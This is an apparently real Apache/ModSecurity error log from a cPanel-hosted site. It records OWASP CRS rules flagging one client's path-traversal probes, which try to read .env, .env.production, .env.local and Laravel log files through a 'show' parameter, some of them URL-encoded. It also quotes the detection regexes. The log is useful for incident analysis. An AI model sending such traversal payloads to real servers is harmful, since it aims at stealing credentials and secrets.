[Fri Jul 17 08:55:07.172915 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:show: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95qQAAAAw"]
[Fri Jul 17 08:55:07.174004 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.174139 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95qQAAAAw"]
[Fri Jul 17 08:55:07.174248 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.174537 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk4l9vhFBGA6D8l95qQAAAAw"]
[Fri Jul 17 08:55:07.175406 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?show=..%2F..%2Fstorage%2Flogs%2Flaravel.log&ref=cZw3Wrgu7CSO6PaxmYyMpGJEzKgAiryB9w1vRgd_FBGPGHf9zHWzZh2gLuWwuXEak8LoCg8MOLwnWSlcuPyOrZ7zqIZdRcP1y1aCejQlP1Z7S5HxlEUxzGBLcsu3gvnewqq2TQtxnNHbVARbPihry4ImUrb2Sw3_AvucKVmtKYQc4UKDmaIscffob4FvWdE3etGv1-CU2y6uzKOKGBvipTNd8ilNQmcpAHZB1WwrDmsLd1fI0sxqeb8HkDINY1H99H6vvFN5U8sAONkpmos2uy7q&cb=32ET2X7EYO244XPXMB75EFKTQ7ZBIEOVHCLNUQRBQURCQQXP3EBOA5LEZFNDVUS4SIQHMQTMWUICKMGT3JAOITY57B24ZUMQA7I2WVPC3ZXMO45INM4HF7USOD..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTDQAAAAM"]
[Fri Jul 17 08:55:07.175441 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:show: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTDQAAAAM"]
[Fri Jul 17 08:55:07.175502 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?show=../../storage/logs/laravel.log&ref=cZw3Wrgu7CSO6PaxmYyMpGJEzKgAiryB9w1vRgd_FBGPGHf9zHWzZh2gLuWwuXEak8LoCg8MOLwnWSlcuPyOrZ7zqIZdRcP1y1aCejQlP1Z7S5HxlEUxzGBLcsu3gvnewqq2TQtxnNHbVARbPihry4ImUrb2Sw3_AvucKVmtKYQc4UKDmaIscffob4FvWdE3etGv1-CU2y6uzKOKGBvipTNd8ilNQmcpAHZB1WwrDmsLd1fI0sxqeb8HkDINY1H99H6vvFN5U8sAONkpmos2uy7q&cb=32ET2X7EYO244XPXMB75EFKTQ7ZBIEOVHCLNUQRBQURCQQXP3EBOA5LEZFNDVUS4SIQHMQTMWUICKMGT3JAOITY57B24ZUMQA7I2WVPC3ZXMO45INM4HF7USODXYQ52I53MQTPGWSP..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTDQAAAAM"]
[Fri Jul 17 08:55:07.175527 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?show=../../storage/logs/laravel.log&ref=czw3wrgu7cso6paxmyympgjezkgairyb9w1vrgd_fbgpghf9zhwzzh2gluwwuxeak8locg8molwnwslcupyorz7zqizdrcp1y1acejqlp1z7s5hxleuxzgblcsu3gvnewqq2tqtxnnhbvarbpihry4imurb2sw3_avuckvmtkyqc4ukdmaiscffob4fvwde3etgv1-cu2y6uzkokgbviptnd8ilnqmcpahzb1wwrdmsld1fi0sxqeb8hkdiny1h99h6vvfn5u8saonkpmos2uy7q&cb=32et2x7eyo244xpxmb75efktq7zbieovhclnuqrbqurcqqxp3eboa5lezfndvus4siqhmqtmwuickmgt3jaoity57b24zumqa7i2wvpc3zxmo45inm4hf7usodxyq52i53mqtpgwsp..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTDQAAAAM"]
[Fri Jul 17 08:55:07.175552 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:show: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTDQAAAAM"]
[Fri Jul 17 08:55:07.175574 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:show: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTDQAAAAM"]
[Fri Jul 17 08:55:07.176787 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTDQAAAAM"]
[Fri Jul 17 08:55:07.176931 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.177240 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkxHlOGcokz2QIwTTDQAAAAM"]
[Fri Jul 17 08:55:07.181322 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?show=..%2F..%2F..%2Fstorage%2Flogs%2Flaravel.log&cb=lidSN_QgcInud_MnsjW_r0O5E2dqwD5WuIDJSticvTppORQpOyNkr9KNjo4fgSI8UwwHS9l4YQkQa2c_3GGMRC6LBFRVtgxAsHyC3DrjYDT9yfbSXQOV1hXJ8PN1X7Nu_Qv10qxtu3IAvXP4JfwomTBcj2CjU1QbMcxmVl9tRrP51uQa4OUSHXboTmFPmKGUnTPrtnjGhGg1rgLsXgBrbaFVAHg7asj62goS-PZUNxMITA186xDkoyt0qWb4DhAi22CWIaq7eLYKuv14xwU4tt-C&ref=XFDWXOZHEXVW6HM26DEMEHP5G24L4OSBXTIVG2NM33UHL3M264SDFPYGMO3EZ5CK6XNUNLCW5UJF6FOUUTKQQIRAJDZVUVJGVPKQEIJQZSNOZKKNDTPSZ..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt26AAAACM"]
[Fri Jul 17 08:55:07.181390 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:show: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt26AAAACM"]
[Fri Jul 17 08:55:07.181446 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?show=../../../storage/logs/laravel.log&cb=lidSN_QgcInud_MnsjW_r0O5E2dqwD5WuIDJSticvTppORQpOyNkr9KNjo4fgSI8UwwHS9l4YQkQa2c_3GGMRC6LBFRVtgxAsHyC3DrjYDT9yfbSXQOV1hXJ8PN1X7Nu_Qv10qxtu3IAvXP4JfwomTBcj2CjU1QbMcxmVl9tRrP51uQa4OUSHXboTmFPmKGUnTPrtnjGhGg1rgLsXgBrbaFVAHg7asj62goS-PZUNxMITA186xDkoyt0qWb4DhAi22CWIaq7eLYKuv14xwU4tt-C&ref=XFDWXOZHEXVW6HM26DEMEHP5G24L4OSBXTIVG2NM33UHL3M264SDFPYGMO3EZ5CK6XNUNLCW5UJF6FOUUTKQQIRAJDZVUVJGVPKQEIJQZSNOZKKNDTPSZJS2D3U4IEQGLQWK4JR..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt26AAAACM"]
[Fri Jul 17 08:55:07.181507 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?show=../../../storage/logs/laravel.log&cb=lidsn_qgcinud_mnsjw_r0o5e2dqwd5wuidjsticvtpporqpoynkr9knjo4fgsi8uwwhs9l4yqkqa2c_3ggmrc6lbfrvtgxashyc3drjydt9yfbsxqov1hxj8pn1x7nu_qv10qxtu3iavxp4jfwomtbcj2cju1qbmcxmvl9trrp51uqa4oushxbotmfpmkguntprtnjghgg1rglsxgbrbafvahg7asj62gos-pzunxmita186xdkoyt0qwb4dhai22cwiaq7elykuv14xwu4tt-c&ref=xfdwxozhexvw6hm26demehp5g24l4osbxtivg2nm33uhl3m264sdfpygmo3ez5ck6xnunlcw5ujf6fouutkqqirajdzvuvjgvpkqeijqzsnozkkndtpszjs2d3u4ieqglqwk4jr..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt26AAAACM"]
[Fri Jul 17 08:55:07.181531 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:show: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt26AAAACM"]
[Fri Jul 17 08:55:07.181559 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:show: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt26AAAACM"]
[Fri Jul 17 08:55:07.181669 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:show: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUYAAAABI"]
[Fri Jul 17 08:55:07.181711 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:show: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUYAAAABI"]
[Fri Jul 17 08:55:07.182763 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt26AAAACM"]
[Fri Jul 17 08:55:07.182800 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUYAAAABI"]
[Fri Jul 17 08:55:07.182900 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.182900 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.183197 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk11_86A5R6msWNfUYAAAABI"]
[Fri Jul 17 08:55:07.183202 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgky0HS8lGbZyK8qt26AAAACM"]
[Fri Jul 17 08:55:07.186324 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:show: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBTwAAABs"]
[Fri Jul 17 08:55:07.186362 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:show: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBTwAAABs"]
[Fri Jul 17 08:55:07.187485 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBTwAAABs"]
[Fri Jul 17 08:55:07.187595 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
